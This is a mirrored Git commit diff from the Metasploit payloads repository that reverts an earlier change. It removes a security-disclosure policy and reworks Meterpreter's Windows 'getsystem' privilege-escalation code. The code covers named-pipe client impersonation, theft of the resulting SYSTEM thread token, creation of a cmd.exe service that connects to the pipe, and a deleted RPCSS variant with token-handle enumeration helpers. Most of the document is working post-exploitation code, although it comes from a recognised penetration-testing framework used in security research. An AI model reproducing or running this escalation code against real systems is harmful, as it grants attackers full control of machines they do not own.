mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-03-30 22:19:17 +02:00
Undo commit for #441
This commit is contained in:
commit
8361d5367a
.github
c/meterpreter
source
common
extensions/priv
metsrv
workspace/ext_server_priv
php/meterpreter
python/meterpreter
35
.github/SECURITY.md
vendored
35
.github/SECURITY.md
vendored
@ -1,35 +0,0 @@
|
|||||||
# Reporting security issues
|
|
||||||
|
|
||||||
Thanks for your interest in making Meterpreter more secure! If you feel
|
|
||||||
that you have found a security issue involving Metasploit, Meterpreter,
|
|
||||||
Recog, or any other Rapid7 open source project, you are welcome to let
|
|
||||||
us know in the way that's most comfortable for you.
|
|
||||||
|
|
||||||
## Via ZenDesk
|
|
||||||
|
|
||||||
You can click on the big blue button at [Rapid7's Vulnerability
|
|
||||||
Disclosure][r7-vulns] page, which will get you to our general
|
|
||||||
vulnerability reporting system. While this does require a (free) ZenDesk
|
|
||||||
account to use, you'll get regular updates on your issue as our software
|
|
||||||
support teams work through it. As it happens [that page][r7-vulns] also
|
|
||||||
will tell you what to expect when it comes to reporting vulns, how fast
|
|
||||||
we'll fix and respond, and all the rest, so it's a pretty good read
|
|
||||||
regardless.
|
|
||||||
|
|
||||||
## Via email
|
|
||||||
|
|
||||||
If you're more of a traditionalist, you can email your finding to
|
|
||||||
security@rapid7.com. If you like, you can use our [PGP key][pgp] to
|
|
||||||
encrypt your messages, but we certainly don't mind cleartext reports
|
|
||||||
over email.
|
|
||||||
|
|
||||||
## NOT via GitHub Issues
|
|
||||||
|
|
||||||
Please don't! Disclosing security vulnerabilities to public bug trackers
|
|
||||||
is kind of mean, even when it's well-intentioned, since you end up
|
|
||||||
dropping 0-day on pretty much everyone right out of the gate. We'd prefer
|
|
||||||
you didn't!
|
|
||||||
|
|
||||||
[r7-vulns]:https://www.rapid7.com/security/disclosure/
|
|
||||||
[pgp]:https://keybase.io/rapid7/pgp_keys.asc?fingerprint=9a90aea0576cbcafa39c502ba5e16807959d3eda
|
|
||||||
|
|
1
c/meterpreter/source/common/common_command_ids.h
Executable file → Normal file
1
c/meterpreter/source/common/common_command_ids.h
Executable file → Normal file
@ -55,7 +55,6 @@
|
|||||||
#define COMMAND_ID_CORE_TRANSPORT_SETCERTHASH 31
|
#define COMMAND_ID_CORE_TRANSPORT_SETCERTHASH 31
|
||||||
#define COMMAND_ID_CORE_TRANSPORT_SET_TIMEOUTS 32
|
#define COMMAND_ID_CORE_TRANSPORT_SET_TIMEOUTS 32
|
||||||
#define COMMAND_ID_CORE_TRANSPORT_SLEEP 33
|
#define COMMAND_ID_CORE_TRANSPORT_SLEEP 33
|
||||||
#define COMMAND_ID_CORE_PIVOT_SESSION_NEW 34
|
|
||||||
#define COMMAND_ID_STDAPI_FS_CHDIR 1001
|
#define COMMAND_ID_STDAPI_FS_CHDIR 1001
|
||||||
#define COMMAND_ID_STDAPI_FS_CHMOD 1002
|
#define COMMAND_ID_STDAPI_FS_CHMOD 1002
|
||||||
#define COMMAND_ID_STDAPI_FS_DELETE_DIR 1003
|
#define COMMAND_ID_STDAPI_FS_DELETE_DIR 1003
|
||||||
|
@ -5,7 +5,6 @@
|
|||||||
#include "precomp.h"
|
#include "precomp.h"
|
||||||
#include "common_metapi.h"
|
#include "common_metapi.h"
|
||||||
#include "namedpipe.h"
|
#include "namedpipe.h"
|
||||||
#include "namedpipe_rpcss.h"
|
|
||||||
#include "tokendup.h"
|
#include "tokendup.h"
|
||||||
|
|
||||||
/*!
|
/*!
|
||||||
@ -106,15 +105,6 @@ DWORD elevate_getsystem( Remote * remote, Packet * packet )
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (dwTechnique == ELEVATE_TECHNIQUE_ANY || dwTechnique == ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS) {
|
|
||||||
dprintf("[ELEVATE] Attempting ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS (%u)", ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS);
|
|
||||||
if ( (dwResult = elevate_via_service_namedpipe_rpcss( remote, packet )) == ERROR_SUCCESS) {
|
|
||||||
dwTechnique = ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
} while( 0 );
|
} while( 0 );
|
||||||
|
|
||||||
if( response )
|
if( response )
|
||||||
|
@ -7,10 +7,9 @@
|
|||||||
|
|
||||||
#define ELEVATE_TECHNIQUE_NONE -1 ///< Identifier that indicates no technique was successful
|
#define ELEVATE_TECHNIQUE_NONE -1 ///< Identifier that indicates no technique was successful
|
||||||
#define ELEVATE_TECHNIQUE_ANY 0 ///< Identifier that indicates that all techniques should be attempted.
|
#define ELEVATE_TECHNIQUE_ANY 0 ///< Identifier that indicates that all techniques should be attempted.
|
||||||
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE 1 ///< Identifier for the Named Pipe service technique (#1)
|
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE 1 ///< Identifier for the Named Pipe service tecnique (#1)
|
||||||
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 2 ///< Identifier for the Named Pipe service technique (#2)
|
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 2 ///< Identifier for the Named Pipe service tecnique (#2)
|
||||||
#define ELEVATE_TECHNIQUE_SERVICE_TOKENDUP 3 ///< Identifier for the Token Duplication service technique.
|
#define ELEVATE_TECHNIQUE_SERVICE_TOKENDUP 3 ///< Identifier for the Token Duplication service technique.
|
||||||
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS 4 ///< Identifier for the Named Pipe service technique (RPCSS variant)
|
|
||||||
|
|
||||||
typedef void (WINAPI * GETNATIVESYSTEMINFO)( LPSYSTEM_INFO lpSystemInfo ); ///< Stolen from ps.h
|
typedef void (WINAPI * GETNATIVESYSTEMINFO)( LPSYSTEM_INFO lpSystemInfo ); ///< Stolen from ps.h
|
||||||
|
|
||||||
|
@ -3,26 +3,6 @@
|
|||||||
#include "namedpipe.h"
|
#include "namedpipe.h"
|
||||||
#include "service.h"
|
#include "service.h"
|
||||||
|
|
||||||
/*
|
|
||||||
* A post-impersonation callback that simply updates the meterpreter token to the
|
|
||||||
* current thread token. This is used by the standard service-based technique.
|
|
||||||
*/
|
|
||||||
DWORD post_callback_use_self(Remote * remote)
|
|
||||||
{
|
|
||||||
HANDLE hToken = NULL;
|
|
||||||
|
|
||||||
// get a handle to this threads token
|
|
||||||
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken)) {
|
|
||||||
dprintf("[ELEVATE] post_callback_use_self. OpenThreadToken failed");
|
|
||||||
return GetLastError();
|
|
||||||
}
|
|
||||||
|
|
||||||
// now we can set the meterpreters thread token to that of our system
|
|
||||||
// token so all subsequent meterpreter threads will use this token.
|
|
||||||
met_api->thread.update_token(remote, hToken);
|
|
||||||
return ERROR_SUCCESS;
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* Worker thread for named pipe impersonation. Creates a named pipe and impersonates
|
* Worker thread for named pipe impersonation. Creates a named pipe and impersonates
|
||||||
* the first client which connects to it.
|
* the first client which connects to it.
|
||||||
@ -30,35 +10,35 @@ DWORD post_callback_use_self(Remote * remote)
|
|||||||
DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread)
|
DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread)
|
||||||
{
|
{
|
||||||
DWORD dwResult = ERROR_ACCESS_DENIED;
|
DWORD dwResult = ERROR_ACCESS_DENIED;
|
||||||
HANDLE hPipe = NULL;
|
HANDLE hServerPipe = NULL;
|
||||||
|
HANDLE hToken = NULL;
|
||||||
HANDLE hSem = NULL;
|
HANDLE hSem = NULL;
|
||||||
char * cpPipeName = NULL;
|
char * cpServicePipe = NULL;
|
||||||
|
Remote * remote = NULL;
|
||||||
BYTE bMessage[128] = {0};
|
BYTE bMessage[128] = {0};
|
||||||
DWORD dwBytes = 0;
|
DWORD dwBytes = 0;
|
||||||
BOOL bImpersonated = FALSE;
|
|
||||||
PPRIV_POST_IMPERSONATION pPostImpersonation = NULL;
|
|
||||||
|
|
||||||
do {
|
do {
|
||||||
if (!thread) {
|
if (!thread) {
|
||||||
BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. invalid thread", ERROR_BAD_ARGUMENTS);
|
BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. invalid thread", ERROR_BAD_ARGUMENTS);
|
||||||
}
|
}
|
||||||
|
|
||||||
cpPipeName = (char *)thread->parameter1;
|
cpServicePipe = (char *)thread->parameter1;
|
||||||
hSem = (HANDLE)thread->parameter2;
|
remote = (Remote *)thread->parameter2;
|
||||||
pPostImpersonation = (PPRIV_POST_IMPERSONATION)thread->parameter3;
|
hSem = (HANDLE)thread->parameter3;
|
||||||
|
|
||||||
if (!cpPipeName) {
|
if (!cpServicePipe || !remote) {
|
||||||
BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. invalid thread arguments",
|
BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. invalid thread arguments",
|
||||||
ERROR_BAD_ARGUMENTS);
|
ERROR_BAD_ARGUMENTS);
|
||||||
}
|
}
|
||||||
|
|
||||||
dprintf("[ELEVATE] pipethread. CreateNamedPipe(%s)", cpPipeName);
|
dprintf("[ELEVATE] pipethread. CreateNamedPipe(%s)",cpServicePipe);
|
||||||
|
|
||||||
// create the named pipe for the client service to connect to
|
// create the named pipe for the client service to connect to
|
||||||
hPipe = CreateNamedPipe(cpPipeName,
|
hServerPipe = CreateNamedPipe(cpServicePipe,
|
||||||
PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
|
PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
|
||||||
|
|
||||||
if (!hPipe) {
|
if (!hServerPipe) {
|
||||||
BREAK_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. CreateNamedPipe failed");
|
BREAK_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. CreateNamedPipe failed");
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -68,7 +48,7 @@ DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread)
|
|||||||
ERROR_DBG_TERMINATE_THREAD);
|
ERROR_DBG_TERMINATE_THREAD);
|
||||||
}
|
}
|
||||||
|
|
||||||
// signal the client that the pipe is ready
|
//signal the client that the pipe is ready
|
||||||
if (hSem) {
|
if (hSem) {
|
||||||
if (!ReleaseSemaphore(hSem, 1, NULL)) {
|
if (!ReleaseSemaphore(hSem, 1, NULL)) {
|
||||||
BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. ReleaseSemaphore failed",
|
BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. ReleaseSemaphore failed",
|
||||||
@ -77,46 +57,46 @@ DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread)
|
|||||||
}
|
}
|
||||||
|
|
||||||
// wait for a client to connect to our named pipe...
|
// wait for a client to connect to our named pipe...
|
||||||
if (!ConnectNamedPipe(hPipe, NULL)) {
|
if (!ConnectNamedPipe(hServerPipe, NULL)) {
|
||||||
if (GetLastError() != ERROR_PIPE_CONNECTED)
|
if (GetLastError() != ERROR_PIPE_CONNECTED)
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
|
||||||
dprintf("[ELEVATE] elevate_namedpipe_thread. receieved a client connection");
|
dprintf("[ELEVATE] pipethread. got client conn.");
|
||||||
|
|
||||||
// we can't impersonate a client until we have performed a read on the pipe...
|
// we can't impersonate a client untill we have performed a read on the pipe...
|
||||||
if (!ReadFile(hPipe, &bMessage, 1, &dwBytes, NULL)) {
|
if (!ReadFile(hServerPipe, &bMessage, 1, &dwBytes, NULL)) {
|
||||||
DisconnectNamedPipe(hPipe);
|
|
||||||
CONTINUE_ON_ERROR("[ELEVATE] pipethread. ReadFile failed");
|
CONTINUE_ON_ERROR("[ELEVATE] pipethread. ReadFile failed");
|
||||||
}
|
}
|
||||||
|
|
||||||
// impersonate the client!
|
// impersonate the client!
|
||||||
bImpersonated = ImpersonateNamedPipeClient(hPipe);
|
if (!ImpersonateNamedPipeClient(hServerPipe)) {
|
||||||
DisconnectNamedPipe(hPipe);
|
|
||||||
if (!bImpersonated) {
|
|
||||||
CONTINUE_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. ImpersonateNamedPipeClient failed");
|
CONTINUE_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. ImpersonateNamedPipeClient failed");
|
||||||
}
|
}
|
||||||
|
|
||||||
if (pPostImpersonation) {
|
// get a handle to this threads token
|
||||||
dprintf("[ELEVATE] elevate_namedpipe_thread. dispatching to the post impersonation callback");
|
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken)) {
|
||||||
dwResult = pPostImpersonation->pCallback(pPostImpersonation->pCallbackParam);
|
CONTINUE_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. OpenThreadToken failed");
|
||||||
if (dwResult != ERROR_SUCCESS) {
|
|
||||||
RevertToSelf();
|
|
||||||
BREAK_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. the post impersonation callback failed");
|
|
||||||
}
|
}
|
||||||
}
|
|
||||||
else {
|
// now we can set the meterpreters thread token to that of our system
|
||||||
|
// token so all subsequent meterpreter threads will use this token.
|
||||||
|
met_api->thread.update_token(remote, hToken);
|
||||||
|
|
||||||
dwResult = ERROR_SUCCESS;
|
dwResult = ERROR_SUCCESS;
|
||||||
}
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
} while (0);
|
} while (0);
|
||||||
|
|
||||||
if (hPipe) {
|
if (hServerPipe) {
|
||||||
CLOSE_HANDLE(hPipe);
|
DisconnectNamedPipe(hServerPipe);
|
||||||
|
CLOSE_HANDLE(hServerPipe);
|
||||||
}
|
}
|
||||||
|
|
||||||
dprintf("[ELEVATE] elevate_namedpipe_thread finishing, dwResult=%d", dwResult);
|
dprintf("[ELEVATE] elevate_namedpipe_thread finishing, dwResult=%d", dwResult);
|
||||||
|
|
||||||
return dwResult;
|
return dwResult;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -136,7 +116,6 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
|
|||||||
char cServiceArgs[MAX_PATH] = {0};
|
char cServiceArgs[MAX_PATH] = {0};
|
||||||
char cServicePipe[MAX_PATH] = {0};
|
char cServicePipe[MAX_PATH] = {0};
|
||||||
OSVERSIONINFO os = {0};
|
OSVERSIONINFO os = {0};
|
||||||
PRIV_POST_IMPERSONATION PostImpersonation;
|
|
||||||
|
|
||||||
do {
|
do {
|
||||||
os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
|
os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
|
||||||
@ -147,7 +126,7 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
|
|||||||
|
|
||||||
// filter out Windows NT4
|
// filter out Windows NT4
|
||||||
if (os.dwMajorVersion == 4 && os.dwMinorVersion == 0) {
|
if (os.dwMajorVersion == 4 && os.dwMinorVersion == 0) {
|
||||||
SetLastError(ERROR_CALL_NOT_IMPLEMENTED);
|
SetLastError(ERROR_ACCESS_DENIED);
|
||||||
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe: Windows NT4 not supported.")
|
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe: Windows NT4 not supported.")
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -164,10 +143,7 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
|
|||||||
"cmd.exe /c echo %s > %s", cpServiceName, cServicePipe);
|
"cmd.exe /c echo %s > %s", cpServiceName, cServicePipe);
|
||||||
|
|
||||||
hSem = CreateSemaphore(NULL, 0, 1, NULL);
|
hSem = CreateSemaphore(NULL, 0, 1, NULL);
|
||||||
PostImpersonation.pCallback = post_callback_use_self;
|
pThread = met_api->thread.create(elevate_namedpipe_thread, &cServicePipe, remote, hSem);
|
||||||
PostImpersonation.pCallbackParam = remote;
|
|
||||||
|
|
||||||
pThread = met_api->thread.create(elevate_namedpipe_thread, &cServicePipe, hSem, &PostImpersonation);
|
|
||||||
if (!pThread) {
|
if (!pThread) {
|
||||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. met_api->thread.create failed",
|
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. met_api->thread.create failed",
|
||||||
ERROR_INVALID_HANDLE);
|
ERROR_INVALID_HANDLE);
|
||||||
@ -178,7 +154,7 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
|
|||||||
ERROR_ACCESS_DENIED);
|
ERROR_ACCESS_DENIED);
|
||||||
}
|
}
|
||||||
|
|
||||||
// wait for the thread to create the pipe, if it times out terminate
|
//wait for the thread to create the pipe(if it times out terminate)
|
||||||
if (hSem) {
|
if (hSem) {
|
||||||
if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) {
|
if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) {
|
||||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. WaitForSingleObject failed",
|
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. WaitForSingleObject failed",
|
||||||
@ -188,14 +164,14 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
|
|||||||
Sleep(500);
|
Sleep(500);
|
||||||
}
|
}
|
||||||
|
|
||||||
// start the elevator service (if it doesn't start first time we need to create it and then start it).
|
// start the elevator service (if it doesnt start first time we need to create it and then start it).
|
||||||
if (service_start(cpServiceName) != ERROR_SUCCESS) {
|
if (service_start(cpServiceName) != ERROR_SUCCESS) {
|
||||||
dprintf("[ELEVATE] service starting failed, attempting to create");
|
dprintf("[ELEVATE] service starting failed, attempting to create");
|
||||||
if (service_create(cpServiceName, cServiceArgs) != ERROR_SUCCESS) {
|
if (service_create(cpServiceName, cServiceArgs) != ERROR_SUCCESS) {
|
||||||
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe. service_create failed");
|
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe. service_create failed");
|
||||||
}
|
}
|
||||||
dprintf("[ELEVATE] creation of service succeeded, attempting to start");
|
dprintf("[ELEVATE] creation of service succeeded, attempting to start");
|
||||||
// we don't check a return value for service_start as we expect it to fail as cmd.exe is not
|
// we dont check a return value for service_start as we expect it to fail as cmd.exe is not
|
||||||
// a valid service and it will never signal to the service manager that is is a running service.
|
// a valid service and it will never signal to the service manager that is is a running service.
|
||||||
service_start(cpServiceName);
|
service_start(cpServiceName);
|
||||||
}
|
}
|
||||||
@ -254,7 +230,6 @@ DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet)
|
|||||||
DWORD dwBytes = 0;
|
DWORD dwBytes = 0;
|
||||||
DWORD dwTotal = 0;
|
DWORD dwTotal = 0;
|
||||||
DWORD dwServiceLength = 0;
|
DWORD dwServiceLength = 0;
|
||||||
PRIV_POST_IMPERSONATION PostImpersonation;
|
|
||||||
|
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
@ -304,10 +279,7 @@ DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet)
|
|||||||
}
|
}
|
||||||
|
|
||||||
hSem = CreateSemaphore(NULL, 0, 1, NULL);
|
hSem = CreateSemaphore(NULL, 0, 1, NULL);
|
||||||
PostImpersonation.pCallback = post_callback_use_self;
|
pThread = met_api->thread.create(elevate_namedpipe_thread, &cServicePipe, remote, hSem);
|
||||||
PostImpersonation.pCallbackParam = remote;
|
|
||||||
|
|
||||||
pThread = met_api->thread.create(elevate_namedpipe_thread, &cServicePipe, hSem, &PostImpersonation);
|
|
||||||
if (!pThread) {
|
if (!pThread) {
|
||||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. met_api->thread.create failed",
|
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. met_api->thread.create failed",
|
||||||
ERROR_INVALID_HANDLE);
|
ERROR_INVALID_HANDLE);
|
||||||
@ -320,10 +292,9 @@ DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet)
|
|||||||
|
|
||||||
//wait for the thread to create the pipe(if it times out terminate)
|
//wait for the thread to create the pipe(if it times out terminate)
|
||||||
if (hSem) {
|
if (hSem) {
|
||||||
if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) {
|
if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0)
|
||||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. WaitForSingleObject failed",
|
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. WaitForSingleObject failed",
|
||||||
ERROR_ACCESS_DENIED);
|
ERROR_ACCESS_DENIED);
|
||||||
}
|
|
||||||
} else {
|
} else {
|
||||||
Sleep(500);
|
Sleep(500);
|
||||||
}
|
}
|
||||||
|
@ -1,14 +1,7 @@
|
|||||||
#ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_TECHNIQUES_NAMEDPIPE_H
|
#ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_TECHNIQUES_NAMEDPIPE_H
|
||||||
#define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_TECHNIQUES_NAMEDPIPE_H
|
#define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_TECHNIQUES_NAMEDPIPE_H
|
||||||
|
|
||||||
typedef DWORD(*PostImpersonationCallback)(LPVOID);
|
DWORD elevate_via_service_namedpipe( Remote * remote, Packet * packet );
|
||||||
DWORD THREADCALL elevate_namedpipe_thread(THREAD* thread);
|
DWORD elevate_via_service_namedpipe2( Remote * remote, Packet * packet );
|
||||||
DWORD elevate_via_service_namedpipe(Remote* remote, Packet* packet);
|
|
||||||
DWORD elevate_via_service_namedpipe2(Remote* remote, Packet* packet);
|
|
||||||
|
|
||||||
typedef struct _PRIV_POST_IMPERSONATION {
|
|
||||||
PostImpersonationCallback pCallback;
|
|
||||||
PVOID pCallbackParam;
|
|
||||||
} PRIV_POST_IMPERSONATION, * PPRIV_POST_IMPERSONATION;
|
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
|
@ -1,395 +0,0 @@
|
|||||||
#include <winternl.h>
|
|
||||||
#include "precomp.h"
|
|
||||||
#include "common_metapi.h"
|
|
||||||
#include "namedpipe.h"
|
|
||||||
#include "service.h"
|
|
||||||
|
|
||||||
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
|
|
||||||
#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
|
|
||||||
typedef NTSTATUS(WINAPI* NTQUERYINFORMATIONPROCESS)(HANDLE ProcessHandle, DWORD ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength);
|
|
||||||
typedef NTSTATUS(WINAPI* NTQUERYOBJECT)(HANDLE Handle, DWORD ObjectInformationClass, PVOID ObjectInformation, ULONG ObjectInformationLength, PULONG ReturnLength);
|
|
||||||
typedef NTSTATUS(WINAPI* PRtlGetVersion)(LPOSVERSIONINFOEXW);
|
|
||||||
|
|
||||||
typedef enum _OBJECT_INFORMATION_CLASS {
|
|
||||||
ObjectBasicInformation = 0,
|
|
||||||
ObjectTypeInformation = 2
|
|
||||||
} OBJECT_INFORMATION_CLASS;
|
|
||||||
|
|
||||||
typedef enum _PROCESSINFOCLASS
|
|
||||||
{
|
|
||||||
ProcessBasicInformation = 0,
|
|
||||||
ProcessHandleInformation = 51,
|
|
||||||
} PROCESSINFOCLASS;
|
|
||||||
|
|
||||||
typedef struct _PROCESS_HANDLE_TABLE_ENTRY_INFO
|
|
||||||
{
|
|
||||||
HANDLE HandleValue;
|
|
||||||
ULONG_PTR HandleCount;
|
|
||||||
ULONG_PTR PointerCount;
|
|
||||||
ACCESS_MASK GrantedAccess;
|
|
||||||
ULONG ObjectTypeIndex;
|
|
||||||
ULONG HandleAttributes;
|
|
||||||
ULONG Reserved;
|
|
||||||
} PROCESS_HANDLE_TABLE_ENTRY_INFO, * PPROCESS_HANDLE_TABLE_ENTRY_INFO;
|
|
||||||
|
|
||||||
typedef struct _PROCESS_HANDLE_SNAPSHOT_INFORMATION
|
|
||||||
{
|
|
||||||
ULONG_PTR NumberOfHandles;
|
|
||||||
ULONG_PTR Reserved;
|
|
||||||
PROCESS_HANDLE_TABLE_ENTRY_INFO Handles[1];
|
|
||||||
} PROCESS_HANDLE_SNAPSHOT_INFORMATION, * PPROCESS_HANDLE_SNAPSHOT_INFORMATION;
|
|
||||||
|
|
||||||
typedef struct _OBJECT_TYPE_INFORMATION
|
|
||||||
{
|
|
||||||
_UNICODE_STRING TypeName;
|
|
||||||
ULONG TotalNumberOfObjects;
|
|
||||||
ULONG TotalNumberOfHandles;
|
|
||||||
ULONG TotalPagedPoolUsage;
|
|
||||||
ULONG TotalNonPagedPoolUsage;
|
|
||||||
ULONG TotalNamePoolUsage;
|
|
||||||
ULONG TotalHandleTableUsage;
|
|
||||||
ULONG HighWaterNumberOfObjects;
|
|
||||||
ULONG HighWaterNumberOfHandles;
|
|
||||||
ULONG HighWaterPagedPoolUsage;
|
|
||||||
ULONG HighWaterNonPagedPoolUsage;
|
|
||||||
ULONG HighWaterNamePoolUsage;
|
|
||||||
ULONG HighWaterHandleTableUsage;
|
|
||||||
ULONG InvalidAttributes;
|
|
||||||
GENERIC_MAPPING GenericMapping;
|
|
||||||
ULONG ValidAccessMask;
|
|
||||||
BOOLEAN SecurityRequired;
|
|
||||||
BOOLEAN MaintainHandleCount;
|
|
||||||
UCHAR TypeIndex;
|
|
||||||
CHAR ReservedByte;
|
|
||||||
ULONG PoolType;
|
|
||||||
ULONG DefaultPagedPoolCharge;
|
|
||||||
ULONG DefaultNonPagedPoolCharge;
|
|
||||||
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;
|
|
||||||
|
|
||||||
/*
|
|
||||||
* Compare two LUID values and return true if they are the same.
|
|
||||||
*/
|
|
||||||
BOOL is_equal_luid(const PLUID luid1, const PLUID luid2) {
|
|
||||||
return ((luid1->HighPart == luid2->HighPart) && (luid1->LowPart == luid2->LowPart));
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
* Get the object type index for token objects. The index changes between versions and using it
|
|
||||||
* simplifies the searching process.
|
|
||||||
*/
|
|
||||||
DWORD get_token_object_index(PULONG TokenIndex)
|
|
||||||
{
|
|
||||||
HANDLE hToken = NULL;
|
|
||||||
NTSTATUS status;
|
|
||||||
HMODULE hNtdll = NULL;
|
|
||||||
NTQUERYOBJECT pNtQueryObject = NULL;
|
|
||||||
DWORD dwResult = ERROR_UNIDENTIFIED_ERROR;
|
|
||||||
POBJECT_TYPE_INFORMATION pObjTypeInfo = NULL;
|
|
||||||
ULONG ulLength = 0;
|
|
||||||
|
|
||||||
do {
|
|
||||||
if (!OpenProcessToken(GetCurrentProcess(), MAXIMUM_ALLOWED, &hToken)) {
|
|
||||||
BREAK_ON_ERROR("[ELEVATE] get_token_object_index. OpenProcessToken failed");
|
|
||||||
}
|
|
||||||
|
|
||||||
hNtdll = GetModuleHandle("ntdll");
|
|
||||||
if (hNtdll == NULL) {
|
|
||||||
BREAK_ON_ERROR("[ELEVATE] get_token_object_index. GetModuleHandle(\"ntdll\") failed");
|
|
||||||
}
|
|
||||||
|
|
||||||
pNtQueryObject = (NTQUERYOBJECT)(GetProcAddress(hNtdll, "NtQueryObject"));
|
|
||||||
if (pNtQueryObject == NULL) {
|
|
||||||
BREAK_ON_ERROR("[ELEVATE] get_token_object_index. GetProcAddress(hNtdll, \"NtQueryObject\") failed");
|
|
||||||
}
|
|
||||||
|
|
||||||
status = pNtQueryObject(hToken, ObjectTypeInformation, NULL, 0, &ulLength);
|
|
||||||
if (NT_SUCCESS(status)) {
|
|
||||||
BREAK_WITH_ERROR("[ELEVATE] get_token_object_index. NtQueryObject failed (1st call)", HRESULT_FROM_NT(status));
|
|
||||||
}
|
|
||||||
|
|
||||||
pObjTypeInfo = (POBJECT_TYPE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ulLength);
|
|
||||||
if (pObjTypeInfo == NULL) {
|
|
||||||
BREAK_WITH_ERROR("[ELEVATE] get_token_object_index. HeapAlloc failed", ERROR_NOT_ENOUGH_MEMORY);
|
|
||||||
}
|
|
||||||
|
|
||||||
status = pNtQueryObject(hToken, ObjectTypeInformation, pObjTypeInfo, ulLength, NULL);
|
|
||||||
if (!NT_SUCCESS(status)) {
|
|
||||||
BREAK_WITH_ERROR("[ELEVATE] get_token_object_index. NtQueryObject failed (2nd call)", HRESULT_FROM_NT(status));
|
|
||||||
}
|
|
||||||
|
|
||||||
*TokenIndex = pObjTypeInfo->TypeIndex;
|
|
||||||
dwResult = ERROR_SUCCESS;
|
|
||||||
} while (0);
|
|
||||||
|
|
||||||
if (pObjTypeInfo) {
|
|
||||||
HeapFree(GetProcessHeap(), 0, pObjTypeInfo);
|
|
||||||
}
|
|
||||||
if (hToken) {
|
|
||||||
CloseHandle(hToken);
|
|
||||||
}
|
|
||||||
return dwResult;
|
|
||||||
}
|
|
||||||
|
|
||||||
